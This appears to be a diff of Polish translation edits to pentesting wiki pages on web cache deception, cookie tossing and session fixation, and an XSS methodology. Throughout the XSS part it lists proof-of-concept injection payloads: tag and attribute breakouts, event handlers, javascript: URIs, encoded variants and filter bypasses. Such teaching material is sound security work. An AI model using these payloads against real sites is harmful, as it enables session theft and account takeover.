Dowiedz się tutaj, jak przeprowadzać [ataki Oszustwa pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Automatic Tools
|
||||
## Narzędzia automatyczne
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w web cache poisoning w liście URL i testowania wielu technik wstrzykiwania.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w pamięci podręcznej w liście URL i testowania wielu technik wstrzykiwania.
|
||||
|
||||
## References
|
||||
## Odniesienia
|
||||
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
|
||||
|
||||
@ -13,22 +13,23 @@ Jak wskazano w sekcji Hacking Cookies, gdy **ciasteczko jest ustawione na domen
|
||||
|
||||
Może to być niebezpieczne, ponieważ atakujący może być w stanie:
|
||||
|
||||
- **Utrwalić ciasteczko ofiary na koncie atakującego**, więc jeśli użytkownik nie zauważy, **wykona działania na koncie atakującego**, a atakujący może uzyskać interesujące informacje (sprawdzić historię wyszukiwań użytkownika na platformie, ofiara może ustawić swoją kartę kredytową na koncie...)
|
||||
- Jeśli **ciasteczko nie zmienia się po zalogowaniu**, atakujący może po prostu **utrwalić ciasteczko (session-fixation)**, poczekać, aż ofiara się zaloguje, a następnie **użyć tego ciasteczka, aby zalogować się jako ofiara**.
|
||||
- **Przywiązać ciasteczko ofiary do konta atakującego**, więc jeśli użytkownik nie zauważy, **wykona działania na koncie atakującego**, a atakujący może uzyskać interesujące informacje (sprawdzić historię wyszukiwań użytkownika na platformie, ofiara może ustawić swoją kartę kredytową na koncie...)
|
||||
- Przykład tego [można znaleźć tutaj](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/), gdzie atakujący ustawił swoje ciasteczko w konkretnych sekcjach, które ofiara użyje do autoryzacji **dostępu do swoich repozytoriów git, ale z konta atakującego**, ponieważ ustawi swoje ciasteczka w potrzebnych punktach końcowych.
|
||||
- Jeśli **ciasteczko nie zmienia się po zalogowaniu**, atakujący może po prostu **przywiązać ciasteczko (session-fixation)**, poczekać, aż ofiara się zaloguje, a następnie **użyć tego ciasteczka, aby zalogować się jako ofiara**.
|
||||
- Czasami, nawet jeśli ciasteczka sesyjne się zmieniają, atakujący używa poprzedniego i również otrzyma nowe.
|
||||
- Jeśli **ciasteczko ustawia jakąś wartość początkową** (jak w flask, gdzie **ciasteczko** może **ustawić** **token CSRF** sesji, a ta wartość będzie utrzymywana po zalogowaniu ofiary), **atakujący może ustawić tę znaną wartość, a następnie ją wykorzystać** (w tym scenariuszu atakujący może zmusić użytkownika do wykonania żądania CSRF, ponieważ zna token CSRF).
|
||||
- Tak samo jak ustawienie wartości, atakujący mógłby również uzyskać nieautoryzowane ciasteczko generowane przez serwer, uzyskać z niego token CSRF i go użyć.
|
||||
- Jeśli **ciasteczko ustawia jakąś wartość początkową** (jak w flask, gdzie **ciasteczko** może **ustawić** **token CSRF** sesji i ta wartość będzie utrzymywana po zalogowaniu ofiary), **atakujący może ustawić tę znaną wartość, a następnie ją wykorzystać** (w tym scenariuszu atakujący może zmusić użytkownika do wykonania żądania CSRF, ponieważ zna token CSRF).
|
||||
- Tak jak ustawienie wartości, atakujący mógłby również uzyskać nieautoryzowane ciasteczko generowane przez serwer, uzyskać z niego token CSRF i go użyć.
|
||||
|
||||
### Kolejność Ciasteczek
|
||||
|
||||
Gdy przeglądarka otrzymuje dwa ciasteczka o tej samej nazwie **częściowo wpływające na ten sam zakres** (domena, subdomeny i ścieżka), **przeglądarka wyśle obie wartości ciasteczka**, gdy obie są ważne dla żądania.
|
||||
|
||||
W zależności od tego, kto ma **najbardziej specyficzną ścieżkę** lub które z nich jest **najstarsze**, przeglądarka **ustawi wartość ciasteczka najpierw**, a następnie wartość drugiego, jak w: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
W zależności od tego, kto ma **najbardziej szczegółową ścieżkę** lub które z nich jest **najstarsze**, przeglądarka **ustawi wartość ciasteczka najpierw**, a następnie wartość drugiego, jak w: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
Większość **stron internetowych użyje tylko pierwszej wartości**. Dlatego, jeśli atakujący chce ustawić ciasteczko, lepiej ustawić je przed ustawieniem innego lub ustawić je z bardziej specyficzną ścieżką.
|
||||
Większość **stron internetowych użyje tylko pierwszej wartości**. Dlatego, jeśli atakujący chce ustawić ciasteczko, lepiej ustawić je przed ustawieniem innego lub ustawić je z bardziej szczegółową ścieżką.
|
||||
|
||||
> [!WARNING]
|
||||
> Ponadto, możliwość **ustawienia ciasteczka w bardziej specyficznej ścieżce** jest bardzo interesująca, ponieważ będziesz mógł sprawić, że **ofiara będzie pracować ze swoim ciasteczkiem, z wyjątkiem specyficznej ścieżki, gdzie ustawione zostanie złośliwe ciasteczko, które zostanie wysłane wcześniej**.
|
||||
> Co więcej, możliwość **ustawienia ciasteczka w bardziej szczegółowej ścieżce** jest bardzo interesująca, ponieważ będziesz mógł sprawić, że **ofiara będzie pracować ze swoim ciasteczkiem, z wyjątkiem konkretnej ścieżki, gdzie złośliwe ciasteczko zostanie wysłane jako pierwsze**.
|
||||
|
||||
### Ominięcie Ochrony
|
||||
|
||||
@ -40,9 +41,9 @@ Aby obejść scenariusz, w którym atakujący ustawia ciasteczko po tym, jak ofi
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
Innym użytecznym **obejściem** mogłoby być **zakodowanie URL nazwy ciasteczka**, ponieważ niektóre zabezpieczenia sprawdzają dwa ciasteczka o tej samej nazwie w żądaniu, a następnie serwer zdekoduje nazwy ciasteczek.
|
||||
Innym użytecznym **obejściem** mogłoby być **URL zakodowanie nazwy ciasteczka**, ponieważ niektóre zabezpieczenia sprawdzają 2 ciasteczka o tej samej nazwie w żądaniu, a następnie serwer zdekoduje nazwy ciasteczek.
|
||||
|
||||
### Bombardowanie Ciasteczek
|
||||
### Cookie Bomb
|
||||
|
||||
Atak Cookie Tossing może być również użyty do przeprowadzenia ataku **Cookie Bomb**:
|
||||
|
||||
@ -54,7 +55,7 @@ cookie-bomb.md
|
||||
|
||||
#### **Użyj prefiksu `__Host` w nazwie ciasteczka**
|
||||
|
||||
- Jeśli nazwa ciasteczka ma ten prefiks, **zostanie zaakceptowana** w dyrektywie Set-Cookie tylko wtedy, gdy jest oznaczona jako Secure, została wysłana z bezpiecznego źródła, nie zawiera atrybutu Domain i ma atrybut Path ustawiony na /
|
||||
- Jeśli nazwa ciasteczka ma ten prefiks, **zostanie zaakceptowana** w dyrektywie Set-Cookie tylko wtedy, gdy jest oznaczona jako Secure, została wysłana z bezpiecznego źródła, nie zawiera atrybutu Domain i ma ustawiony atrybut Path na /
|
||||
- **To zapobiega subdomenom wymuszającym ciasteczko na domenę główną, ponieważ te ciasteczka mogą być postrzegane jako "zablokowane na domenie"**
|
||||
|
||||
### Referencje
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez kod **JS**.
|
||||
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez **kod JS**.
|
||||
2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana.
|
||||
3. Jeśli **odzwierciedlona**
|
||||
3. Jeśli **odzwierciedlona**:
|
||||
1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
|
||||
1. W **surowym HTML**:
|
||||
1. Czy możesz tworzyć nowe tagi HTML?
|
||||
@ -22,7 +22,7 @@
|
||||
2. Czy możesz uciec ze stringu i wykonać inny kod JS?
|
||||
3. Czy twoje dane wejściowe są w szablonowych literałach \`\`?
|
||||
4. Czy możesz obejść zabezpieczenia?
|
||||
4. Funkcja Javascript **wykonywana**
|
||||
4. Funkcja JavaScript **wykonywana**
|
||||
1. Możesz wskazać nazwę funkcji do wykonania. np.: `?callback=alert(1)`
|
||||
4. Jeśli **używana**:
|
||||
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane wejściowe są używane przez jakikolwiek sink.**
|
||||
@ -56,7 +56,7 @@ Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu ta
|
||||
|
||||
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
|
||||
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **stworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
|
||||
@ -67,14 +67,14 @@ Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
|
||||
```
|
||||
### Wewnątrz kodu JavaScript
|
||||
|
||||
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
|
||||
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
|
||||
|
||||
- Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
|
||||
- Jeśli jest odzwierciedlany **wewnątrz ciągu JS** i ostatni trik nie działa, musisz **wyjść** z ciągu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Jeśli jest odzwierciedlany wewnątrz szablonów dosłownych, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -98,7 +98,7 @@ Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użyt
|
||||
|
||||
.png>)
|
||||
|
||||
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert** wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
|
||||
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
|
||||
|
||||
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
|
||||
|
||||
@ -114,9 +114,9 @@ parentElement
|
||||
```
|
||||
Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
|
||||
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej działań.
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji.
|
||||
|
||||
Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
|
||||
Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano exploitację **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Uniwersalne XSS**
|
||||
|
||||
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta w aplikacji webowej, ale w **jakimkolwiek** **kontekście**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\
|
||||
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta w aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\
|
||||
Niektóre **przykłady**:
|
||||
|
||||
{{#ref}}
|
||||
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Wstrzykiwanie wewnątrz surowego HTML
|
||||
|
||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany w HTML** lub **usunięty**, czy jest **odzwierciedlony bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
|
||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
|
||||
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***\***\*`-->`\*\***\***\*lub \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
W tym przypadku, jeśli nie użyto czarnej/białej listy, możesz użyć ładunków takich jak:
|
||||
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -161,16 +161,16 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **przeprowadzić brute-force, które tagi** możesz utworzyć.\
|
||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **przeprowadzić brute-force atrybutów/wydarzeń** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
|
||||
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz utworzyć.\
|
||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
|
||||
|
||||
### Brute-force tagów/wydarzeń
|
||||
|
||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały odkryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **przeprowadzić brute-force wszystkich wydarzeń** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
|
||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały wykryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **brute-forcować wszystkie wydarzenia** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
|
||||
|
||||
### Niestandardowe tagi
|
||||
|
||||
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
|
||||
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL na `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -233,7 +233,7 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Ostatni z nich używa 2 znaków unicode, które rozszerzają się do 5: telsr\
|
||||
Ostatni używa 2 znaków unicode, które rozszerzają się do 5: telsr\
|
||||
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
||||
Aby sprawdzić, w które znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
@ -243,19 +243,19 @@ Jeśli w celu wykorzystania luki musisz, aby **użytkownik kliknął link lub fo
|
||||
|
||||
### Niemożliwe - Dangling Markup
|
||||
|
||||
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kod** JS.
|
||||
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kodu JS**.
|
||||
|
||||
## Wstrzykiwanie wewnątrz tagu HTML
|
||||
|
||||
### Wewnątrz tagu/ucieczka z wartości atrybutu
|
||||
|
||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych z technik wymienionych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
|
||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając ładunku jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
|
||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych z technik wspomnianych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
|
||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payloadu jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
```
|
||||
**Zdarzenia stylów**
|
||||
**Styl wydarzeń**
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
@ -267,12 +267,12 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
|
||||
```
|
||||
### W obrębie atrybutu
|
||||
|
||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest odzwierciedlany w twojej wartości **czy kontrolujesz całą wartość, czy tylko część** będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu.\
|
||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest używany do odzwierciedlenia twojej wartości **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
|
||||
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
|
||||
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/URL**
|
||||
|
||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
||||
**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniżej będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
||||
|
||||
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
|
||||
```javascript
|
||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Miejsca, w których możesz wstrzyknąć te protokoły**
|
||||
|
||||
**Ogólnie** protokół `javascript:` może być **używany w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img`)
|
||||
**Ogólnie** protokół `javascript:` może być **używany w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img>`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -351,17 +351,17 @@ _**W tym przypadku kodowanie HTML i trik z kodowaniem Unicode z poprzedniej sekc
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonywania.**
|
||||
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **ładunek**, to **nie zadziała**, ale możesz **zmieszać je wewnątrz ładunku**.
|
||||
Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **ładunek**, to **nie zadziała**, ale możesz **zmieszać je w ładunku**.
|
||||
|
||||
**Używanie kodowania Hex i Octal z `javascript:`**
|
||||
|
||||
Możesz używać **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
|
||||
Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -377,13 +377,13 @@ Możesz używać **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (p
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Jeśli możesz wstrzyknąć dowolny URL w dowolnym **`<a href=`** tagu, który zawiera atrybuty **`target="_blank"` i `rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
||||
Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zawiera atrybuty **`target="_blank" i rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### O obejściu obsługi zdarzeń
|
||||
### o Ominięciu Obsługi Zdarzeń
|
||||
|
||||
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" obsług zdarzeń**.\
|
||||
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
